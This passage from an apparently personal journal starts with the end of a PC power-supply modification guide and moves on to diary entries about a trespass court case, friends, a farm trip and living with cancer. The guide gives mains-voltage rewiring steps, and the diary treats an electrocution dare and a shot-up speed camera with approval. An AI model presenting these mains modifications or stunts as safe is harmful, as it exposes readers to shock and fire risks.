rated wires feeding mains from the IEC-III sockets to the + PCB. A 300 Watt supply will be pulling more than one amp from its + active mains rail. So the wires from the feed socket to the PCB should + be rated to carry more than an ampere. You'd be dismayed at the flimsy + wire sometimes used. + +- Extruded, aluminium heatsinks with lots of fins, not the cheaper + punched tin plate ones (the latter exhibit lower thermal conductivity, + more thermal mass). Black anodisation is a nice touch - it helps heat + radiate off hot components to nearby chassis metalwork. + +- thermal transfer grease and insulator pads between the heatsinks + and the regulators. Be warned - don't touch the stuff - it might contain + beryllium oxide. + +- Non-flammable sealant goop. This is variously used to fix + adjustment potentiometers to a set value, cover the vent ports on + electrolytic capacitors, and support/separate tightly packed components. + Take a sliver, see what happens when you try to burn it with a cigarette + lighter. If it burns it's OK as an insulator but a hazard if the supply + fails. And, in my estimation, if they use cheap sealant, fail it might. + +- Sockets. From IEC-III to the circuit board, and from the PCB to + the fan. It's just a nice touch. + +- Unscrew the PCB and look `under the rug' - at the circuit board artwork + itself. Poor soldering, bridges between IC pads, tombstoning of + SMD components, flux deposits left on the board, manual modifications + (performed by someone who has to do a thousand the same way per day and + will invariably get some of them wrong), fractures on the PCB corners + from damage in transit, these things are indicative of poor + manufacture and handling. + +- Listen to it when it's turned on. All you should hear is a fan. Stop + the blades to silence the noise and no odd buzzes should be + apparent from the board. Nor, for that matter, should there be any odd + smells. + +Most PSU's will fail on these some or all of these criteria. So you'll +have to take matters into your own hands to get a PSU which really does +what you want, and will do it well for a long time. Which brings us to +modifications. + +----------------------- +Augmentation + +- Money. + + Be prepared to pay extra if you spot a good PSU. This is not a mod, but + it's a change in attitude which will pay off with less downtime. Beware. + You can pay $160 for the exact same PSU at certain major supply houses, + as will cost you $50 at others. Shop around. + + +- Metal Oxide Varistors. + +These are a protective measure. They absorb most of the energy in a mains +spike, and I solder one each across active-earth and neutral-earth mains +rails. They explode when they do their job but are easy to replace and can +save your motherboard and peripherals. Some PSU circuits already have +these on board. + + + +- IEC-III socket inline LC noise filtering. + +Another protective measure, these sockets slot in where the plain plastic +recessed-male socket of the PSU was originally mounted. They are somewhat +longer than the socket they replace so care should be taken that the new +socket casing doesn't damage the rest of the circuit during modification. +Unsolder the original, solder in the replacement (don't swap the active +rail for neutral), close up and turn on. These are essentially LC +narrow bandpass filters and suppress everything either side of 50Hz, the +frequency at which mains is delivered. + + +- Always on. + +The only good thing about the previous power supply design, the AT series, +was that if fed mains, it powered up your machine. I want supplies on my +servers to always be on and not need human intervention. I strip a small +section of insulation off the green power-supply-on rail and couple it to +a black ground rail. PS_ON is thus always held low so the PSU can't be +turned off except by electrical shorts or removal of mains power (which is +great for remote reboots). Not all PSUs turn on automatically when this +has been performed, however. I usually remove the on/off switch too - I +yank the power cord if I want it turned off. + + + +- Ball bearing fan. + +The failure of a $3 sleeve bearing fan in a stock $40 ATX PSU nearly ended +my dad's business - its seizure gradually cooked the backup harddisk (40Gb +maxtor in the top drive bay - convection cooling wasn't enough) and was in +process of toasting the motherboard. + +By default I remove the typical sleeve-bearing fan, insert a 12V +ball-bearing fan and feed from the same rails as the original fan, or +insert 240V ball bearing fan, of the same dimensions, soldering the 240V +fan feeds onto the IEC-III incoming socket lugs. Be prepared for some +noise, these latter items move more hot air than an electioneering pollie. +A ballbearing fan usually lasts at least 25k hours depending on +environmental dust, and the quality of the lube used in the bearings, +which are sealed. + +Some people run more than one fan in their PSU, usually on the outside. +That's not a bad idea at all. Your PSU inhales pre-heated air from the +inside of your machine and will last longer with any airflow assistance +you might care to provide. + + +- absolutely reliable thermal overload cut-out. + +I find some ATX PSUs will still work while fan is siezed, the PCB is +charred, insulation is smouldering (you can smell it) and device is near +ignition point. In this mode they cook the computer from the top down... +glitches will originate in an overheated CPU (check in BIOS or use hand on +heatsink - careful, can be *very* hot) and the topmost devices start to +disappear from the OS's device list, because they're not information +devices any more - they're toast. + +If a PSU gets really hot and out of expected operating temp range, the +semiconductors which do its logic and power regulation undergo +tolerance drift, which might mean off-spec voltages are fed to the +motherboard, beyond its ability to regulate them. Glitch time! + +Most power supplies have a positive temperature co-efficient resistor, or +a thermistor, or something similar to drive logic for thermal shutdown. +However, in the event of overheating failures you can't expect the thermal +protection logic to work reliably, precisely because it's overheated too - +and if gets overheated the thermal protection logic obviously didn't work +in the first place. I rely instead on metallurgy and employ a thermal +fuse, rated to 79 degs Celsius, soldered (carefully - if you overheat it +during install it'll go open-circuit and be useless) in series with the +active rail. These are used in room heaters and can usually carry 10 amps +minimum. They are very reliable. Using silicone sealant for electrical +insulation with good thermal coupling, I mount it onto whatever heatsink +has the most components on it (note, PSU heatsinks are usually live). + + +- Real Silicone. + +I have been known to replace the existing sections of generic goop with +silicone. Not the vinegar-flavoured, so-called acid cure variety - I use +methyl ethyl ketoxime cure exclusively. Silicone never burns and ketoxime +cure won't chemically react with the PCB tracks. + +- Heatshrink + +I like to see this around components and mains-energised solder lugs. Not +necessary really but is a nice touch. + + +- Pots. + +Variable fan noise drives me nutz. I sometimes put a potentiometer +in series with the 12V fan feed and screw it down to a speed I find +quiet. + + + +General design philosophy. +--------------------------- +I observe *stupid* design errors in PSUs and if you do, you should think +about their probable consequences. + +I tossed an Osborne PSU (unknown OEM) wherein the main heatsink was +screwed to the chassis cowl and blocking the air vents. Unsurprisingly +this came to my attention after it had cooked itself to death. + +I've seen three-terminal regs rivetted to heatsinks. I'd be suspicious +of a supply from a manufacturer too cheap to use real bolts. + +I see PSUs in which light-gague fan feed wires gradually move around over +time and catch the fan blades. Good manufacturers sleeve their fan feeds +or cable tie them to something immobile. + +The air vent grilles on the case, and the case metalwork itself, both +serve as earthed Faraday shielding which protects your motherboard from +introduction of spurious noise signals into its supply rails, from the +switching noise of the PSU. I don't mess with these, nor do I drill extra +holes. + + +- Burn-in. + +People call me perverse but I keep chunks of obsolete hardware in part +because they serve as a useful, cheap and if necessary sacrificial testbed +for certain kinds of new components. Prior to installing it in production, +I like to run a new PSU at full crank for about a month, driving a pile of +failed ST-506 harddisks (the old, greedy, loud, 5.25 wide, double-height +ones) and an old motherboard stuffed full of whatever old peripheral cards +I can get. If the PSU is going to fail it will probably do it during that +time, and if this failure is damaging to peripherals well, it doesn't +matter. + +- Maintenance. + +Yes, power supplies accumulate dust. It might be worth cleaning them out +with a paint brush, or compressed air, every so often. Annually's good, +it's helpful to schedule it with other downtime, drive replacements, +motherboard upgrades, and so forth. Don't inhale the dust, it's variously +made of old cockroach faeces, photocopier toner, carpet fibres, pollen +grains, human skin flakes, fungal spores and other respiratory irritants. + +So. Plugger-in, turn on. Suitably equipped, your PSU will run for years +and even die valiantly saving the rest of your machine in the event of +various mains supply misadventures. + +Power on! + + +---------------------------- + + + +I watched a videotape Dougo sent me from Melbourne - Five minutes of Fame. +There's a lot of footage of me on it I hadn't seen. One of the advantages +of my intrinsic media-slut propensity is that various bits of footage of +me in various incriminatory modes of trespass remain on tape where I can +look at myself, slightly less aged, over a period of years. Note that I +didn't say mature. But I get a bit wistful looking at it. Footage of the +final years of my life and I didn't know it. Not like anyone does for the +first few decades. Mullet didn't expect to die ten years ago either. I +wonder what he was thinking as he drifted into unconsciousness in the +frozen, arid, air-depleted icescape on Makalu? Well, nothing. +Frostbrain'll stop you thinking - crystallise your thoughts and the meat +you use to think with too. + +I like that Channel V clip the best. With ... hmm. Who does that backing +track... Tricky? + +"Who do you think you are. You're insignificant. A small piece." + +Yeah, I know already, fer fuck's sake. My life really is down the drain. +I can crap on about drains interminably. It's on TV so it must be true. + +Arrr. Most of cat didn't show up at Black Rose Monday night. Just Hugh and +his fucked-up-hair dog Rupert, Neddie, Safa and myself. I dropped Neddie +back to his rental accom in Newtown (the bike always handles like a car +when it has a 100kg slab of Ned on the pillion seat - a smoother ride) and +then sucked caffeine at Cinque and watched the late-night freakshow trot +past the front window where I like to sit. Genia and Amber and KegRoll +(Arlene Textaqueen's younger sister) popped past and we hadda bit of a +chitchat. Which is another great thing about King St. Lots of people walk +past and if you keep your eye out you can have an impromptu chat to them. +Try that in Westfields. Then again, don't. Loiterers are a security risk, +right? Move along. + + +I popped over to XML's place. Smokering and Twitchin' Link were there. XML +is still not happy with her install so Puke-ohze went back on the machine +where knoppix went before. She wants to get on the net right now. Link and +Smokering work with Puke-Ohze all the time and neither of them could tell +it where to find its own drivers, either. We get up to stupid stuff. +Playing music on diving snorkels. Pouring cold water on each other's heads +unexpectedly. Putting our hands into the toaster for a dare (Russian +Toaster is a much simpler game than Russian Roulette and depends on you +not knowing wether or not the toaster is plugged into a live socket, which +as it happened I didn't - if this fact is ever published you can expect +toasters to be banned). Bashing each other up with bananas. Twitchin's fun +to watch, it's like he's got a bug in his servo' code someplace. +Tourettes. I edit it out of my awareness fairly quickly. He nicked off +later and Smokey and XML and I turned into something of a styrofoam +sandwich on the loungeroom beanbags. Arr. It was good. Shame about the +clothes. + +Monday night, off in the rain again to Turella. Someone's done a kernel +transplant on Tarvat and I rebooted it at 2am so nobody'd notice the +downtime. Oh shit. Big mistake. Nobody tested this did they. So tarvat's +been down all day. I couldn't be arsed rebuilding it. Soz is gonna do it +tonight. + + +Tuesday. I got a recycled envelope in the post from Liela today. As in, +bits of cardboard held together with painter's edging tape. It bore a +'zine with no name but maybe it's called Thumb. It's Liela's hand in a +thumb's up jesture slapped down on the glass of a photocopier someplace in +San Francisco. Her nails are dirty, as I remember them when we squatted. A +fortune cookie insert fell out of it: + +[You will overcome obstacles to achieve success] + +Not this time. I'd be happy to overcome obstacles to merely achieve +mediocrity again. + +I like that it's so unprocessed, grungy, fabricated of necessity and +whatever bits of paper happen to be there. How much information is there +that ya can't pack into a raw ascii screed like this one you're reading? +Heaps. Road maps from odd cities. Ticket stubs from Shannon airport. +Handwriting. Diary entries done on old impact typewriters with worn +ribbons with real errors xxxx'd over, typewriters are more honest that +way, and you can see which words are typed really hard by angry fingers. +Printouts from dotmatrix printers where the paper got slightly jammed and +the text is sort of curled down the page. Expired tickets from Deutsche +Rail. That there's no staples and it's held together by sticky tape. 35mm +film negatives. Slightly out of focus photographs, streakily xeroxed on a +photocopier which is just about running out of toner. I can make out, +faintly, the arch and delta patterns in her left thumbprint. Leila woz +'ere. ASCII just doesn't cut it in some departments though it's my fave +tool. Leila's face loses a lot when translated from a photocopy of the +black and white, silver emulsion shot to its ASCII essence which looks +something like {:-) + +I noticed something. Without even thinking about it I've started +opening doorknobs with the backs of my fingers, my fist closed. Dont wanna +leave fingerprints. Paranoid fuckhead. + +Wednesday. No, Shit it's Judgement Day. Holy fucking thursday. Easter. I +forget these religious rituals so thoroughly I am usually surprised by +them twice, or I discover them postally later, which is when I realise +that Jesus's main legacy is that I've lost twice the usual number of +demerit points and pay twice the normal fine I'd get for speeding or +whatever infringement a given cop wants to serve on me. Jesus didn't die +to save you from your sins, all of you religious twits out there eating +yer theobromine Easter Eggs and getting alfoil stuck in your teeth. +Jesus died to give the cops an excuse to raise revenue. This existance of +this fact makes cancer appear positively lucid and logical in comparison. + +I am in court in 9 hours and I feel lucky that I am not going there on a +train with no return ticket for a custodial charge. I lined up a +caseworker at Justice Action, since most illustrious luminary +honourable learned worshipful magisterial magistrates like that their +miserable charges have been (my keys feel filthy typing this word) +_proactive_ about the penalty they are likely to encounter, it makes 'em +feel like I'm taking them seriously. So if I have to do community service, +I can do it there. Cookie works there. I can punch code for them instead +of harvesting empty drink bottles and used condoms on the side of the +tollways. My caseworker, Greg, has a zero haircut, wire-rimmed spectacles +like I have, and a long spent time in the slam for stabbing his wife to +death. I think from an experience point of view ya can't beat a convicted +killer for knowledge of the justice system. He's rather engaging. + +I imagine it could go like this. + +J "How do you plead?" +P "Verbally, your worship." +J "How do you plead?" +P "I can do it in writing if you like. Oh. Do you mean what do I plead? + Well I did all the stuff in the charge sheet. It's there in writing." +J "Guilty or not guilty, you twit?" +P "Guilt ceased to mean anything to me years ago. I did what it says in the + charge sheet. I acted in contravention of S4,1,a of the Inclosed Lands + Protection Act 1901. Sentence me please." +J "$550 fine and fuck off out of here you pitiful long-haired wanker." + +If I can get away without a contempt of court charge I'll be surprised and +happy. + +I'll write again when I'm done with this stupid court shit. Bored yet? + +------ + +Thursday. + +I found a tie. I parked somewhere with no time restrictions. Burwood court +has nice olivine/ sodium-feldspar granite tables and super-uncomfortable, +fuck your bum off, wire mesh chairs. They scan everyone who comes in the +door, except for the cops. The place stinks of cologne. Almost all the +people heard in these cases are blokes, young, muscly, with bowl haircuts. +Lebs and Tongans. Cookie came out to watch the case. It wasn't good to +hear on the morning that Legal Aid wasn't gonna represent me, cos it was a +non-custodial charge and all that shit. + +Thanks for the advance warning that you were gonna drop me in it guyz. + +Ours was the first case of the day. Purple Death Faerie had her own lawyer +from the SRC but he was a bit of a useless twerp. The maj' whinged to her +that she was 20 not 12. Lifting manhole covers and exploring tunnels is a +bit of an adventure... I don't think so, he said. He harped on that if +stupidity or foolishness were a barrier to her getting a section 10 she +wouldn't get one and that this lenience was extended once in a lifetime, +rah rah, patronising, pompous git. Getting into stride, I though. He let +her out with a six month good behaviour bond and she was ordered to pay +$61 court costs. I was relieved. I was gonna spring for her court costs +but she said she wanted to go in the drain. I listened to a bunch of other +cases. Wife bashers, car theives, dudes who decided to punch on with the +cops (well, that's how the cops put it) shoplifters. Poor magistrate Paul +Stanislaus Clorus (not the softest chap on the bench, I'm told), reduced +to presiding over such a sequence of minor drivel. + +I read the sheet the cops provided about me. It has my real name listed +four times the same way, as my known aliases. It says I'm not +fingerprinted, which is bollocks. I bloody am. I'm gonna ask 'em to +destroy the fingerprinting entries. + +Cookie showed up. She, PDF and I chatted momentarily with her lawyer +before the session started. Purple Death Faerie was dealt with first and I +listened closely to the Maj's comments since I suspected he'd like to hear +them from me later. Cookie wrote that I should mention in my plea that I +endangered the cops, which turned out to be a good idea. When eventually +the laywers for other cases shut up (they call each other `my friend') and +pissed off out of the courtroom I was called. It went something like this: + +M: ? +P: Your worship. +M: Stand over there near the mic. Is your name? +P: It is my name your worship. +M: What matter are you here for? +P: Trespass, your worship, Inclosed Lands Protection Act 1901, sec 4 1 a. +M: Are the facts in this sheet accurate? + + + +P: The sheet is accurate your worship. +M: Do you understand the charge? +P: I understand the charge your worship. +M: How do you plead? +P: I wish to enter a plea of guilty your worship. Here are some references + as to my character your worship. +M: Do you have anything else to say? +P: If the magnitude of stupidity of this sequence of events was apparent + to me in advance I wouldn't be here. I've endangered myself, endangered + the police, wasted their time, wasted your time and I think to say + anything more at this point would just be an additional waste of your + worship's time. + +At this point I shut up. I swear, he leaned back in his chair and beamed +at me as if, finally, he'd met someone who understood what a +soul-destroying waste of his time his job was. An interminable parade of +drunks, thugs and petty crims throwing every excuse at him, all the same +shit he'd heard before. Finally someone wasn't gonna bullshit him. + +M: Well that's an eloquent summary. I am familiar with the +details of this case from the hearing recently held for your +accomplice. She had youth on your side. You do not. I find it +inappropriate to impose a fine at this stage and require you to enter into +a good behaviour bond for six months. If you break the terms of the bond +you can be returned here for sentencing. You are free to go. + +This took all of about four minutes and cost me $61. Roughly the same as a +blow job in 1970 and about as meaningful. I got my stuff off the Sherrifs +at the door and walked out at about midday. + +Joss showed up, I spotted her as she walked past a net cafe in which I was +eating some lunch. We went down to the park on Burwood road and ate +something with artichoke hearts and substitute Hungarian sausage in it. I +dropped her back to Balmain after getting a bit lost on the way. + +I woke up friday and rode the suspension-seat treadly from Blakehurst to +Heathcote. This is my first serious ride since the big slash five months +ago. After 10km I was a bit chafed. I am not very fit but there was no gut +pain at all. Soz and Cookie showed up at the station and we rode down +Heathcote road to the service track. Cookie's left pedal siezed so we +gutted it on the roadside, and she ended up riding around on it with no +bearings or anything. We went from Heathcote road along the service track +to Woronora Dam, which was about 10km. The water board have sealed all the +gaps in the water pipeline so there were no handy pipeline leaks to drink +from but the creek water was potable and it was a clear, sunny day. Some +killer hills though. We reached the dam in the afternoon and checked out +the vast concrete monster and the 53 thousand billion gallons of water it +was reckoned to be holding back, before riding out again to the southern +freeway. It looks about 80% full but most of a dam's capacity is in its +upper layers. Soz and Cookie got the train back to Turella at Waterfall. I +rode back to Blakehurst, and was thoroughly fucked by the time I got +there, at the end of the roughly 45km haul. Was a time I'd eat 45km +without a thought. My knees and wrists hurt, my legs ached, my neck hurt +from holding my head up. I'm glad I'm going to Bathurst on a motorbike on +Sunday. 200km'd under my own steam would just about kill me. + +I'm off to rebuild tarvat on another motherboard. Tomorrow I fix the +wiring in Lou's squat on Wilson St. A favour's a favour 'n all. + +Double fucking demerit points. Thanks very much Christianity. Oh well. In +a parallel universe somplace people probably get double demerit points for +all of Ramadan. + + +------ + +It's friday 16th, it's been a long time from the (dumb) terminal. Sunday +arvo I rode the 'cycle out to Bathurst. Took three hours and I arrived in +the near-dark, and was very nearly despatched by a 'roo which decided to +jump into the space where my bike was going to be in half a second (at 90 +kays an hour). I hit the anchors and swore and the thing happily sprung +along the road for a few more skips, its feet thumping and claws scuffing +on the bitumen, before bounding over a fence and off into the distance. +The back tyre smoked when I locked it up. + +I met Keith on the driveway at dusk and he told me where to drive. + +Jude and Joss and Soph and I got a bit pissed. Smoked some cones. They +hadda leave the next day. + +I've wandered about the place now where Joss spent some of her life +growing up. It's steep, and a bit denuded of trees. There's a power +transmission line snaking across the river gully at the bottom. Big veins +of quartz run along the property, striking North-South, I reckoned, +assuming west was where the sun set. Outcrops of basalt, clotted with +moss, jut out of the ground at funny angles in places. It is quiet and I +could hear the birds. The river is lined with willows and casuarinas with +bits of roofing iron wrapped around them in the direction of flow of the +water. There's roo, rabbit, horse and various other shit around the place. +Walnut trees in irrigated rows. Alpacas synchronously pointing their heads +at me in curiosity. A vinyard. + +A big colourbond shed full of farm machinery. I immediately felt at home +there amongst the faint smell of silicate dust and machine oil. Sheds have +a language of their own. They tell you a lot about who works there, and +how they run their lives. This one had bits of stuff nobody could bring +themselves to throw out, various old parts and offcuts and obsoleted, +forgotten crap, ferrochrome spider habitat, all centred around the +inevitable battered work bench (slapped together with nine-ply and offcuts +of perforated angle iron, dressed in a graffiti of saw cuts, chemical +burns, grease stains, random holes from nails and drills), the altar where +the arbeitenmensche worships the god of machinery at the sacred vise +(mounted to the bench with whatever that'llfuckin'do scavenged bolts and +nuts and bruised washers someone dug out of the driveway or pinched from a +condemned vehicle), scarred with weld spatter, half-mulched in plastic +sawdust and rusted, writhing drill turnings. Smashed bricks where heavy +things fell on the floor. Bent plastic bottles with coloured goop leaking +out of them. Tins caved in, labels falling off. A kitchen where nothing +rots, nothing needs washing, and you have to wear shoes for your own +protection. + +I wandered around the land. It's dry. I spent time looking at the bits of +lustrous schist here and there. The borer holes in the straining posts. +The skirts of hex mesh under the gates. I stood under huge old twisty +trees for which I do not have the latin binomials. Was pricked by nettles +killed by drought. Looked at the size-specifically sorted pebbles the +local ants place on their anthills. + +I feel like I have to do stuff on farms. Variously smacked things with a +block splitter, failed (with Keith) to repair one of their irrigation +lines, did some earthmoving, manually moved heavy chunks (well, up to +about 20kg) of basalt to form part of a retaining wall. Carole was +subsequently cranky at Keith and I for doing this 'cos she reckons this +exertion might have decapsulated the node in my neck. I reckon that's +bollocks, not in the sense that she's wrong, yeah, maybe it did. But we +can't prove it. And does it matter? It was gonna crack open eventually +anyway. Or fuck up entirely of its own accord. Next stop on the lymphatic +plumbing from this node is my superior vena cava, then my right cardiac +atrium, then out to my lungs so the blood can dump carbon dioxide and +snarf oxygen in that miraculous feat of surfactant-mediated gas exchange +we dismissively refer to as breathing. Lungs are full of oh-so-narrow +capillaries. Where erythrocytes have to deform in order to pass single +file. Metastatic cells get caught and proliferate in situ. Gradually +strangling me, alveolus by alveolus, lobe by lobe, lung by lung. Fuck. + +Diagnosed a failed battery in a rechargable torch. Washed dishes. Drank +wine. Made tea the slow way on a slow-burning wood stove. Checked out the +voltage in the solar panel batteries and pondered the tracking mechanism +on the panels. Ate dinner with Joss' parents. Watched a wasp paralyze a +spider too big for the wasp to haul off. Breathed in the fragrant (acacia, +eucalypt) smoke from the wood stove. Gazed amazed at the countless +brilliant stars and magellanic clouds and satellites drifting across the +upper atmosphere while meteors incinerated themselves in it, scarring the +dark with their fleeting glare, and felt no less worthy a man for not +knowing the names of the stars, which are poor substitutes for knowing +about stellar nucleosynthesis and being amazed that it led to the +fabrication of the stuff I am made of, and that the stardust I'm made of +can lie there and contemplate its own origin. Let the horses out of the +botton paddock by accident (though the horses knew damned well what they +were doing). Ate rose hip. Smashed off chunks of basalt and granite +outcrops (no visible molybdenum disulfide in the latter sadly, though +there is at the road cuttings near Wallerawang), bringing sparks from the +pick. Chatted to, reacquainted myself with, hugged, cried and snotted on, +sucked used bong smoke from the lips of, tousled the hair of, remembered +the smell of, shagged, dreamed about, conjectured to myself that I still +really don't know very much about, Joss. What a grip she has on my teensy +little bwane. I can't help it very much. It shits me that I will have to +let her go along with everything bloody else. I might never really get to +know about her. She will reveal what she wants to in her own good time. +Other people can't be expected to run to Bill's schedule. Maybe I should +get used to that. + +On Wednesday night I drank beer in the bath, shampooed my dusty, sweatty +mop. Sat in a lounge chair and listened to a tape of various old music +(the revolution will not be televised, or the television will not be +revolutionised, or something). Pecked at dinner, distractedly. Didn't +finish the flute of red plonk I poured for myself. Said very little. Went +upstairs and climbed into bed and drank my hot chocolate long after it got +cold. + +I woke up on Thursday after not, as I had gleefully anticipated, sharing a +shag with Joss (I was not in the mood, at all. Bill scares me.) And to +make life that little bit extra more encouraging discovered that coughing +hurt, sneezing hurt, breathing in hard hurt, turning my head hurt more +than it did on Wednesday morning. I'm miles from my olds, miles from my +life, and that arsehole in my neck is on the warpath. Oh well, I did stick +a needle in him and suck some of his guts out a few months ago. + +Joss dozed on thursday morning. I was making tea downstairs when the +thought started to consume my thinking. + +I Must. +Get out. +Of here. + +I was leaving anyway but I felt like everything was so much more urgent. I +have to get out of here, I said to myself, surprisingly often. I'm turning +into a grumpy frustrated schedule nazi. + +So I rode the 'bike down the dirt road (much faster than walking the 5 +minute walk) and said goodbye to Joss' olds at Tanderra. Joss' mum stuck +enough dissolved selenite into me to get me classified as a mineralogical +deposit and I was halfway surprised I didn't start photoconducting in the +sunlight. She rang up her surgery, which is where I'm going after I type +this stuff. + +She wants to gimme a draft copy of her coming book so I can proofread it. + +Pred : "You'd better type fast." +Carole: "I hear you, pred." + +She does not type fast. + +I went back to the small, smoky cottage and grabbed my stuff. Joss was +scribbling dilligently and closed the notebook before I got there. +I wouldn'ta looked anyhow. She left pages of stuff around the cottage for +three days and I didn't read them either. + +The pack was on, the leathers sealed up. I had earplugs in my ears to stop +me getting additional tinitus from the impending scream of the fourstroke +engine half a meter below me, howling like a huge, angry blowie at 8000 +revs. So she yelled at me that she loved me. 8-) I didn't hug her like it +was the last time I was gonna see her 'cos I didn't want to think it was +gonna be. As I write, knowing that Bill appears to have become rather more +proliferative, she's planning to be up there for anything from a week to a +month, I think this was maybe not such a good idea. But then I'd never get +off the property. If it had occurred to me at the time that we'd never +meet again, I wouldn't let my arms unlock. Someone'd have to cut me off +her. I dunno if I will meet her again. The Bill Army is getting +unpredictable. + +Broken quartz crunched under the tyres as I braked to open the main gate. +It swung shut slowly, the rusty hinges squeaking as I pulled it closed. +The chain makes an interesting jingling noise when the latch falls upon +its bolt. I wondered if I would be here again. A younger me might have +floored it in the sandy driveway and showered the gate with the stuff but +that would have been a second wasted. I nudged it out to the tarmacadam +slowly and then, wheels on something solid, twisted the throttle and was +spat down the road like an orange pip. I love that it accelerated so +cleanly as I changed up through the gears. Go, go, go, feets, get me out +of here. Take me away from myself. The reassuringly mindless mechanical +hum of _going someplace_ sank into my bones as I fed my arse back on the +seat, leaned over the tank and fucked off down the road, my helmet making +random thwack noises as it became the last thing to go through the minds +of the morning's less fortunate airborne insects. + + + +Beautiful day, beautiful ride, but I felt like shit all the way home, +shockwaves from potholes felt like punches in the guts. Turning my neck +hard right hurt. I had to laugh at a speed camera on a lonely straight +stretch of country road... neatly punctured, front, dead-centre, by a BIG +round hole from a ballsy firearm. I stopped to look at it, I'd reckon it +was hit by a .303 or something like that. 303's being what they are, one +round would be plenty. The projectile fragmented and peppered the back +wall of the box, too. Nice one, whoever put it there. I drove back to +Sydney, the speedo needle wobbling between 100-120 so I didn't really know +how fast I was going. I felt like shit when I got home and lay down. Why +does my guts hurt? Has one of Bill's messengers occluded something which +keeps my guts alive? Or did I just eat something dodgy? + +I logged into cat and deleted 26 Mb of spam. R is in town for a chat +so I'll see her on Saturday. She seems to think I've got five years. Yeah, +right. This is characteristic of people when faced with nasty statistics. +I told her months ago that I had a 99% chance of being dead within five +years. Do people hear that and think that everyone in that cohort drop +dead exactly 1824 days from their diagnosis? No dude. The curve is not +flat then discontinuous and suddenly vertical at the sample point. There's +plenty of butchery all over the entire sample window. The window is +closing. On me. Eventually there Will be A Splatting Sound. Just remember +O for Oh, Dyin's. + +I went to the Coopers Arms and chatted to Rumble and Graeme of that +mysterious shadowy high-tech organisation which only appears when you need +it - Rent-A-Geek. I haven't seen 'em for ages and come to think of it, if +this thing in my neck gets going, I'm not gonna see 'em again. I mentioned +to Gra what the situation was. He was a bit shocked. I gave him the usual +run about my life, which thank fuck I haven't pissed up the wall saving +for somewhere to live. I'd really be angsting about that if I had. Throw +the best 15 years of your life working for some bank only to have it all +pulled out from under you? Oh, puke. + + +"Fucking kids are whinging, they can't get a job + the photocopy repairman is a smarmy smartarse knob + I've been running this office for so long I can't recall. + I've gone and pissed thirty years up against the wall. + + `Good morning Mr Jenkins' the office girls all say + `Gentlemen' I tell the board `the agenda for today' + I play the part so desperately 'cos the truth so appalls + I've gone and pissed thirty years up against the wall. + + Off I go to the Men's room for the seventh time today. + My bladder no longer hears me no matter what I say. + I watch the tiles in front of me and wait for the trickle to fall. + I've gone and pissed thirty years up against the fuckin' wall. + +TISM - The Men's Room (www.tism.wanker.com) + +So I diverted the conversation to something blokes like to talk about. +Beer. He's brewing lagers and ales with this wicked water-jacketted +cooling unit for psychrophile yeasts, convection fed, Peltier-cooled. Much +cheaper than a 'fridge. Arr. Remind me that I gave up beer for its carb +load, would you? + + +So I popped over to STUCCO and slapped in some network cards and crimped +some cable and drove home, feeling extremely like deep-fried dogshit. I +fell into bed, neck throbbing. + + +Friday I went to Balmain and, at Carole's suggestion had a sh'load of +ascorbic acid shoved up my arm (about 30g) from really big syringes. While +the gut pains stopped a day later, as I write on Sunday I can't say it's +made much difference to Bill, who remains perched like Prometheus' eagle +under my skin, choppin' away at my lifespan. The little molecular wheels +take time to grind, but grind they do. + +I chatted to Jude and drank vanilla tea and Clocktower port for a while +after I re-spoked Joss' wheel and eventually dropped him back to Enmore. +Jude is Joss' younger brother and Soph's squeeze. Soph is small and skinny +but makes up for it with sheer joie de vivre, and when I appeared she +exuberantly took a running jump and landed on me, slinging her arms around +my aching neck and clamping her legs around my aching guts and I didn't +know wether to scream or throw up. I didn't do either, to my surprise, and +managed to ask her to climb down. She got the guiltys about it and I told +her to relax, she couldn't have known. If she was ten kilos heavier I'da +puked. Man. Everyone wants to hug me neck and I can't let 'em go near it. + +An SMS came in from Cookie. JA were havin' a barbie, Douggie was there +(still walking around after a semi shoved his car up a rail embankment and +made him stave the dashboard in with his head), so could I come over? Yeah +man. They do great nosh. + +So I got there and sat down and patted the rottie and chatted to people +about stuff generally. Like that stupid court case I was at last week. +Totally unimpressive to people who have done long ugly periods in the slam +for serious shit, but oh, I guess it was on-topic, at least. They reckon +good behaviour bonds extend to the border but not beyond. Yeehar. I can be +naughty in Melbourne 8-) + +Ya know, I think getting a varicocele, then a redundant organ taken out, +were really the opening salvos, warning shots across the bow. You're gonna +be hit later, these said to me. Later is now. It's all different. Bill +variously aches, rages, and subsides. Bill launches his minions into my +fuel lines, my airways, my structural members, my signal systems, my +motors, hinges, cladding. They live off the land, making more of +themselves. Now I walk around telling myself, you're under attack, pal. I +feel like there's fuck-all I can do about it. I caught sight of my face in +a car window as I was walking the dog this arvo (she's so clean, so +fluffy, I stood naked in the shower last night and shampooed her and +brushed her and she shook her fleas off onto me where I can see and +crush'em between my nails) and I was scowling. Gravitation doesn't quite +explain the rather disproportionate weight of the ten or twenty grams of +stuff nestled in the root of my left shoulder. + +I wonder at times should I just shut the fuck up about what Bill's doing. +Partly to stop it chewing up other people's heads. But thinking about the +whole process of dying is interesting in that it gives me a sense of some +kind of control over the process, and I think it's important to give other +people time to get used to it too. Bill's my hasslebot, my personal cron +daemon. Do these things at these times: Relax. Be Afraid. Relax. Be +Afraid. Be happy. Be sad. Go to a doctor, be told nothing especially +helpful, go home. Be sad, sad, sad. Hold your head this way when you +sleep. + +"Wake up! Time to die." +- Roy Baty (R.Hauer) to Decker (H.Ford), Blade Runner + +Would people be pissed off if I told them much later on, when I was closer +to checking out? + +Cookie's on the same emotional rollercoaster as I am. She's watching me, +observing that when Bill says jump, I ask from which clifftop. I +gobbled some sausages at the JA barbecque and went off for a quiet chat +with her. She comes up with the best ideas at times. Typical. All the ways +I've been considering getting out of this forecast corporeal shipwreck +work great but are NO FUN. Cookie's pretty sad about all this stuff. She +said to me she spent ten years with a dude who asked her every other day +if she still liked him, and I've spent the last year warning her not to +fall in love with me. That was the deal. Good shags, good conversation. +Something tells me she's getting attached. Not a good time to do it, +really. Maybe she isn't. Maybe she is. I dunno. + + +I've decided to start saying goodbye. Cookie and I shagged a couple of +damn good shags back at the 'factory. You don't think a shag'd stop me +talking, do you - who says men can't do more than one thing at a time? +Embedded in each other's bods, illuminated by the dim gloom of a small +electric light, I just had to smile at her and tell her it was a privilage +having known her and that she should never forget how cool she is. She +squeezed her eyes shut and shuddered a bit. Ahh, Cookie. Let me hold you. +It is surprisingly easy to say this kind of goodbye. Maybe 'cos I don't +believe it myself yet. Like I am trying it out. Sometimes you can't find +the words for the things you really need to speak. + + + +"Either way, I'm confused. You slow me down. What can I do. 